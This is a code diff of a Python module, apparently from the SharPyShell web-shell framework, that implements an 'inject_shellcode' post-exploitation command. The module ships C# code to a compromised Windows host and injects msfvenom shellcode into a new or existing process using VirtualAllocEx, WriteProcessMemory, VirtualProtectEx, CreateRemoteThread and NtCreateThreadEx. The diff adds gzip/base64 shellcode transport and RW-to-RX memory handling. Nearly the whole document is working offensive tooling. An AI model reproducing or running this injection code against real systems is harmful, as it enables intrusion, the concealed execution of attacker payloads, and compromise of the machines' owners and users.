1 | 1 | | from core.Module import Module, ModuleException |
| 2 | + | from utils import gzip_utils |
2 | 3 | | |
3 | 4 | | |
4 | 5 | | class InjectShellcodeModuleException(ModuleException): |
| skipped 5 lines |
10 | 11 | | short_help = "Inject shellcode in a new (or existing) process" |
11 | 12 | | complete_help = r""" |
12 | 13 | | This module allow to inject your shellcode in a host process. |
13 | | - | You can decide if inject into an existing process or if spawn a new process as a host process for the code. |
14 | | - | You should create the payload for the shellcode from msfvenom with the flag --format csharp. |
| 14 | + | You can choose to create a new process or use a pid of an existing process as a host process. |
| 15 | + | If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw. |
15 | 16 | | You can use one of the following supported injection technique: |
| 17 | + | |
16 | 18 | | - remote_virtual: classic injection: |
17 | 19 | | VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread |
18 | 20 | | - remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work): |
19 | 21 | | VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread |
| 22 | + | |
20 | 23 | | Note that when you try to inject into an existing process you should ensure you have the rights to open |
21 | 24 | | a handle to that process otherwise the injection cannot be performed. |
22 | 25 | | |
| skipped 1 lines |
24 | 27 | | #inject_shellcode shellcode_path [injection_type] [remote_process] |
25 | 28 | | |
26 | 29 | | Positional arguments: |
27 | | - | shellcode_path path to a file containing shellcode in csharp format (msfvenom --format csharp) |
28 | | - | it can also be a bytearray string, i.e. '{0x90,0x90,0x90,0x90}' |
| 30 | + | shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw) |
29 | 31 | | injection_type the process injection method to use for injecting shellcode |
30 | 32 | | Allowed values: 'remote_virtual', 'remote_virtual_protect' |
31 | 33 | | Default: 'remote_virtual' |
| skipped 3 lines |
35 | 37 | | |
36 | 38 | | Examples: |
37 | 39 | | Inject generated shellcode: |
38 | | - | #inject_shellcode /path/to/shellcode.cs |
| 40 | + | #inject_shellcode /path/to/shellcode |
39 | 41 | | Inject shellcode with specific injection type: |
40 | | - | #inject_shellcode /path/to/shellcode.cs 'remote_virtual_protect' |
| 42 | + | #inject_shellcode /path/to/shellcode 'remote_virtual_protect' |
41 | 43 | | Inject shellcode into an existing process |
42 | | - | #inject_shellcode /path/to/shellcode.cs 'remote_virtual' '1550' |
| 44 | + | #inject_shellcode /path/to/shellcode 'remote_virtual' '1550' |
43 | 45 | | |
44 | 46 | | """ |
45 | 47 | | |
46 | 48 | | _runtime_code = ur""" |
47 | 49 | | using System;using System.IO;using System.Diagnostics;using System.Text; |
48 | | - | using System.Runtime.InteropServices; |
| 50 | + | using System.Runtime.InteropServices; using System.IO.Compression; |
49 | 51 | | |
50 | 52 | | public class SharPyShell |
51 | 53 | | { |
| skipped 4 lines |
56 | 58 | | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); |
57 | 59 | | |
58 | 60 | | [DllImport("kernel32.dll", SetLastError = true)] |
| 61 | + | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); |
| 62 | + | |
| 63 | + | [DllImport("kernel32.dll", SetLastError = true)] |
59 | 64 | | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); |
60 | 65 | | |
61 | 66 | | [DllImport("kernel32.dll", SetLastError = true)] |
| skipped 2 lines |
64 | 69 | | [DllImport("kernel32.dll", SetLastError=true)] |
65 | 70 | | static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); |
66 | 71 | | |
| 72 | + | [DllImport("kernel32.dll", SetLastError = true)] |
| 73 | + | static extern bool CloseHandle(IntPtr hObject); |
| 74 | + | |
| 75 | + | [DllImport("ntdll.dll", SetLastError = true)] |
| 76 | + | static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer); |
| 77 | + | |
| 78 | + | const uint PAGE_ALIGN = 1024; |
| 79 | + | |
67 | 80 | | const int PROCESS_CREATE_THREAD = 0x0002; |
68 | 81 | | const int PROCESS_QUERY_INFORMATION = 0x0400; |
69 | 82 | | const int PROCESS_VM_OPERATION = 0x0008; |
| skipped 3 lines |
73 | 86 | | const uint MEM_COMMIT = 0x00001000; |
74 | 87 | | const uint MEM_RESERVE = 0x00002000; |
75 | 88 | | const uint PAGE_READWRITE = 0x04; |
| 89 | + | const uint PAGE_EXECUTE_READ = 0x20; |
76 | 90 | | const uint PAGE_EXECUTE_READWRITE = 0x40; |
77 | 91 | | |
78 | 92 | | const uint WAIT_OBJECT_0 = 0x00000000; |
| skipped 4 lines |
83 | 97 | | string error_string = "\n\n\t{{{SharPyShellError}}}"; |
84 | 98 | | int processId=0; |
85 | 99 | | Process targetProcess = new Process(); |
| 100 | + | IntPtr targetProcessHandle = IntPtr.Zero; |
| 101 | + | IntPtr injectedThreadHandle = IntPtr.Zero; |
| 102 | + | bool usingExistingProcess = false; |
86 | 103 | | try |
87 | 104 | | { |
88 | 105 | | if(!Int32.TryParse(process, out processId)){ |
| skipped 3 lines |
92 | 109 | | } |
93 | 110 | | else{ |
94 | 111 | | targetProcess = Process.GetProcessById(processId); |
| 112 | + | usingExistingProcess = true; |
95 | 113 | | output += "\n\n\tTrying to open running process with pid " + processId.ToString(); |
96 | 114 | | } |
97 | 115 | | string processName = targetProcess.ProcessName; |
98 | 116 | | string targetProcessPid = processId.ToString(); |
99 | | - | IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); |
| 117 | + | targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); |
100 | 118 | | if(targetProcessHandle == (IntPtr)0){ |
101 | 119 | | output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); |
102 | 120 | | return output; |
103 | 121 | | } |
104 | 122 | | output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; |
| 123 | + | |
105 | 124 | | uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); |
106 | | - | IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
107 | | - | if(codeMemAddress == (IntPtr)0){ |
108 | | - | output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); |
109 | | - | return output; |
110 | | - | } |
111 | | - | uint bytesWrittenCode; |
112 | | - | output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes"; |
113 | | - | if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ |
114 | | - | output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); |
115 | | - | return output; |
116 | | - | } |
117 | | - | output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); |
| 125 | + | if(codeMemorySize %% PAGE_ALIGN != 0) |
| 126 | + | codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN); |
| 127 | + | %s |
118 | 128 | | |
119 | 129 | | codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); |
120 | | - | |
121 | | - | IntPtr injectedThreadHandle = (IntPtr)0; |
122 | 130 | | if(threadParameters.Length > 0){ |
123 | | - | output += "\n\n\tThread parameters detected. Starting to allocate memory RWX ..."; |
| 131 | + | output += "\n\n\tThread parameters detected. Starting to allocate memory RW ..."; |
124 | 132 | | uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); |
125 | | - | IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 133 | + | IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
126 | 134 | | if(threadParametersMemAddress == (IntPtr)0){ |
127 | 135 | | output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); |
128 | 136 | | return output; |
129 | 137 | | } |
130 | 138 | | uint bytesWrittenThreadParams; |
131 | | - | output += "\n\n\tAllocated memory RWX for thread parameters of " + threadParametersSize.ToString() + " bytes"; |
| 139 | + | output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes"; |
132 | 140 | | if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ |
133 | 141 | | output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); |
134 | 142 | | return output; |
135 | 143 | | } |
136 | 144 | | output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); |
137 | | - | injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); |
| 145 | + | if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){ |
| 146 | + | output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx..."; |
| 147 | + | NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero); |
| 148 | + | } |
| 149 | + | else{ |
| 150 | + | output += "\n\n\tUsing CreateRemoteThread..."; |
| 151 | + | injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); |
| 152 | + | } |
138 | 153 | | } |
139 | 154 | | else{ |
140 | | - | injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); |
| 155 | + | if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){ |
| 156 | + | output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx..."; |
| 157 | + | NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); |
| 158 | + | } |
| 159 | + | else{ |
| 160 | + | output += "\n\n\tUsing CreateRemoteThread..."; |
| 161 | + | injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); |
| 162 | + | } |
141 | 163 | | } |
142 | 164 | | if(injectedThreadHandle == (IntPtr)0){ |
143 | | - | output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); |
| 165 | + | output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error(); |
144 | 166 | | return output; |
145 | 167 | | } |
146 | 168 | | output += "\n\n\tRemote Thread started!"; |
| skipped 23 lines |
170 | 192 | | output += error_string + "\n\tException occurred. " + ex.Message; |
171 | 193 | | return output; |
172 | 194 | | } |
| 195 | + | finally{ |
| 196 | + | if((int)injectedThreadHandle > 0) |
| 197 | + | CloseHandle(injectedThreadHandle); |
| 198 | + | if((int)targetProcessHandle > 0) |
| 199 | + | CloseHandle(targetProcessHandle); |
| 200 | + | } |
173 | 201 | | return output + "\n\n"; |
174 | 202 | | } |
175 | 203 | | |
| 204 | + | private byte[] Decompress(byte[] data) |
| 205 | + | { |
| 206 | + | using (MemoryStream compressedStream = new MemoryStream(data)) |
| 207 | + | using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress)) |
| 208 | + | using (MemoryStream resultStream = new MemoryStream()) |
| 209 | + | { |
| 210 | + | byte[] buffer = new byte[16*1024]; |
| 211 | + | int read; |
| 212 | + | while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0) |
| 213 | + | { |
| 214 | + | resultStream.Write(buffer, 0, read); |
| 215 | + | } |
| 216 | + | return resultStream.ToArray(); |
| 217 | + | } |
| 218 | + | } |
| 219 | + | |
176 | 220 | | public byte[] ExecRuntime() |
177 | 221 | | { |
178 | | - | %s |
| 222 | + | string shellcodeBase64 = "%s"; |
| 223 | + | byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64); |
| 224 | + | byte[] shellcodeByteArr = Decompress(shellcodeCompressed); |
179 | 225 | | byte[] threadParameters = %s; |
180 | | - | string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); |
| 226 | + | string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s); |
181 | 227 | | byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); |
182 | 228 | | return(output_func_byte); |
183 | 229 | | } |
184 | 230 | | } |
185 | 231 | | """ |
186 | 232 | | |
187 | | - | _runtime_code_virtual_protect = ur""" |
188 | | - | using System;using System.IO;using System.Diagnostics;using System.Text; |
189 | | - | using System.Runtime.InteropServices; |
190 | | - | |
191 | | - | public class SharPyShell |
192 | | - | { |
193 | | - | [DllImport("kernel32.dll", SetLastError = true)] |
194 | | - | static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); |
195 | | - | |
196 | | - | [DllImport("kernel32.dll", SetLastError = true)] |
197 | | - | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); |
| 233 | + | _runtime_code_virtual = ur""" |
| 234 | + | IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 235 | + | if(codeMemAddress == (IntPtr)0){ |
| 236 | + | output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); |
| 237 | + | return output; |
| 238 | + | } |
| 239 | + | uint bytesWrittenCode; |
| 240 | + | output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes"; |
| 241 | + | if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ |
| 242 | + | output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); |
| 243 | + | return output; |
| 244 | + | } |
| 245 | + | output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); |
| 246 | + | """ |
198 | 247 | | |
199 | | - | [DllImport("kernel32.dll", SetLastError = true)] |
200 | | - | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); |
201 | | - | |
202 | | - | [DllImport("kernel32.dll", SetLastError = true)] |
203 | | - | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); |
204 | | - | |
205 | | - | [DllImport("kernel32.dll", SetLastError = true)] |
206 | | - | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); |
207 | | - | |
208 | | - | [DllImport("kernel32.dll", SetLastError=true)] |
209 | | - | static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); |
210 | | - | |
211 | | - | const int PROCESS_CREATE_THREAD = 0x0002; |
212 | | - | const int PROCESS_QUERY_INFORMATION = 0x0400; |
213 | | - | const int PROCESS_VM_OPERATION = 0x0008; |
214 | | - | const int PROCESS_VM_WRITE = 0x0020; |
215 | | - | const int PROCESS_VM_READ = 0x0010; |
216 | | - | |
217 | | - | const uint MEM_COMMIT = 0x00001000; |
218 | | - | const uint MEM_RESERVE = 0x00002000; |
219 | | - | const uint PAGE_READWRITE = 0x04; |
220 | | - | const uint PAGE_EXECUTE_READ = 0x20; |
221 | | - | |
222 | | - | const uint WAIT_OBJECT_0 = 0x00000000; |
223 | | - | |
224 | | - | public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset) |
225 | | - | { |
226 | | - | string output = ""; |
227 | | - | string error_string = "\n\n\t{{{SharPyShellError}}}"; |
228 | | - | int processId=0; |
229 | | - | Process targetProcess = new Process(); |
230 | | - | try |
231 | | - | { |
232 | | - | if(!Int32.TryParse(process, out processId)){ |
233 | | - | targetProcess = Process.Start(process); |
234 | | - | processId = targetProcess.Id; |
235 | | - | output += "\n\n\tStarted process " + process + " with pid " + processId.ToString(); |
236 | | - | } |
237 | | - | else{ |
238 | | - | targetProcess = Process.GetProcessById(processId); |
239 | | - | output += "\n\n\tTrying to open running process with pid " + processId.ToString(); |
240 | | - | } |
241 | | - | string processName = targetProcess.ProcessName; |
242 | | - | string targetProcessPid = processId.ToString(); |
243 | | - | IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); |
244 | | - | if(targetProcessHandle == (IntPtr)0){ |
245 | | - | output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); |
246 | | - | return output; |
247 | | - | } |
248 | | - | output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; |
249 | | - | uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); |
250 | | - | IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
251 | | - | if(codeMemAddress == (IntPtr)0){ |
252 | | - | output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); |
253 | | - | return output; |
254 | | - | } |
255 | | - | uint bytesWrittenCode; |
256 | | - | output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes"; |
257 | | - | if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ |
258 | | - | output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); |
259 | | - | return output; |
260 | | - | } |
261 | | - | output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); |
262 | | - | |
263 | | - | uint codeMemSize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); |
264 | | - | uint lpflOldProtect; |
265 | | - | if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){ |
266 | | - | output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error(); |
267 | | - | return output; |
268 | | - | } |
269 | | - | output += "\n\n\tChanged allocated memory for code from RW to RX"; |
270 | | - | |
271 | | - | codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); |
272 | | - | |
273 | | - | IntPtr injectedThreadHandle = (IntPtr)0; |
274 | | - | if(threadParameters.Length > 0){ |
275 | | - | output += "\n\n\tThread parameters detected. Starting to allocate memory RW ..."; |
276 | | - | uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); |
277 | | - | IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
278 | | - | if(threadParametersMemAddress == (IntPtr)0){ |
279 | | - | output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); |
280 | | - | return output; |
281 | | - | } |
282 | | - | uint bytesWrittenThreadParams; |
283 | | - | output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes"; |
284 | | - | if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ |
285 | | - | output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); |
286 | | - | return output; |
287 | | - | } |
288 | | - | output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); |
289 | | - | injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); |
290 | | - | } |
291 | | - | else{ |
292 | | - | injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); |
293 | | - | } |
294 | | - | if(injectedThreadHandle == (IntPtr)0){ |
295 | | - | output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); |
296 | | - | return output; |
297 | | - | } |
298 | | - | output += "\n\n\tRemote Thread started!"; |
299 | | - | if(threadTimeout>0){ |
300 | | - | uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout); |
301 | | - | if(wait_for == WAIT_OBJECT_0){ |
302 | | - | output += "\n\n\tCode executed and exited correctly"; |
303 | | - | try{ |
304 | | - | Process.GetProcessById(processId); |
305 | | - | targetProcess.Kill(); |
306 | | - | output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed"; |
307 | | - | } |
308 | | - | catch{ |
309 | | - | output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited"; |
310 | | - | } |
311 | | - | } |
312 | | - | else{ |
313 | | - | output += "\n\n\tRemote Thread Timed Out"; |
314 | | - | } |
315 | | - | } |
316 | | - | else{ |
317 | | - | output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid; |
318 | | - | } |
319 | | - | } |
320 | | - | catch (Exception ex) |
321 | | - | { |
322 | | - | output += error_string + "\n\tException occurred. " + ex.Message; |
323 | | - | return output; |
324 | | - | } |
325 | | - | return output + "\n\n"; |
| 248 | + | _runtime_code_virtual_protect = ur""" |
| 249 | + | uint codeMemSize = codeMemorySize; |
| 250 | + | IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 251 | + | if(codeMemAddress == (IntPtr)0){ |
| 252 | + | output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); |
| 253 | + | return output; |
| 254 | + | } |
| 255 | + | uint bytesWrittenCode; |
| 256 | + | output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes"; |
| 257 | + | if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ |
| 258 | + | output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); |
| 259 | + | return output; |
326 | 260 | | } |
327 | | - | |
328 | | - | public byte[] ExecRuntime() |
329 | | - | { |
330 | | - | %s |
331 | | - | byte[] threadParameters = %s; |
332 | | - | string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); |
333 | | - | byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); |
334 | | - | return(output_func_byte); |
| 261 | + | output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); |
| 262 | + | uint lpflOldProtect; |
| 263 | + | if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){ |
| 264 | + | output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error(); |
| 265 | + | return output; |
335 | 266 | | } |
336 | | - | } |
| 267 | + | output += "\n\n\tChanged allocated memory for code from RW to RX"; |
337 | 268 | | """ |
338 | 269 | | |
339 | 270 | | _default_injection_type = 'remote_virtual' |
| skipped 2 lines |
342 | 273 | | _default_thread_parameters = '{}' |
343 | 274 | | _default_code_offset = '0' |
344 | 275 | | |
345 | | - | _template_shellcode_csharp = 'byte[] buf = new byte[] %s;' |
346 | | - | |
347 | 276 | | def _parse_run_args(self, args): |
348 | 277 | | if len(args) < 1: |
349 | 278 | | raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n') |
| skipped 4 lines |
354 | 283 | | thread_timeout = args_parser.get(3, self._default_thread_timeout) |
355 | 284 | | thread_parameters = args_parser.get(4, self._default_thread_parameters) |
356 | 285 | | code_offset = args_parser.get(5, self._default_code_offset) |
357 | | - | return shellcode_path, injection_type, remote_process, thread_timeout,thread_parameters, code_offset |
| 286 | + | return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset |
358 | 287 | | |
359 | 288 | | def _create_request(self, args): |
360 | 289 | | shellcode_path, injection_type, remote_process,\ |
361 | 290 | | thread_timeout, thread_parameters, code_offset = self._parse_run_args(args) |
362 | | - | if all(shellcode_char in shellcode_path for shellcode_char in ['{', '0x', ',', '}']): |
363 | | - | shellcode_bytes_code = self._template_shellcode_csharp % shellcode_path |
364 | | - | else: |
365 | | - | with open(shellcode_path, 'r') as file_handle: |
366 | | - | shellcode_bytes_code = file_handle.read() |
| 291 | + | base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path) |
367 | 292 | | if injection_type == 'remote_virtual_protect': |
368 | | - | return self._runtime_code_virtual_protect % (shellcode_bytes_code, thread_parameters, remote_process, |
369 | | - | thread_timeout, code_offset) |
| 293 | + | runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode, |
| 294 | + | thread_parameters, remote_process, |
| 295 | + | thread_timeout, code_offset) |
370 | 296 | | else: |
371 | | - | return self._runtime_code % (shellcode_bytes_code, thread_parameters, remote_process, |
372 | | - | thread_timeout, code_offset) |
373 | | - | |
374 | | - | |
375 | | - | |
| 297 | + | runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode, |
| 298 | + | thread_parameters, remote_process, |
| 299 | + | thread_timeout, code_offset) |
| 300 | + | return runtime_code |
376 | 301 | | |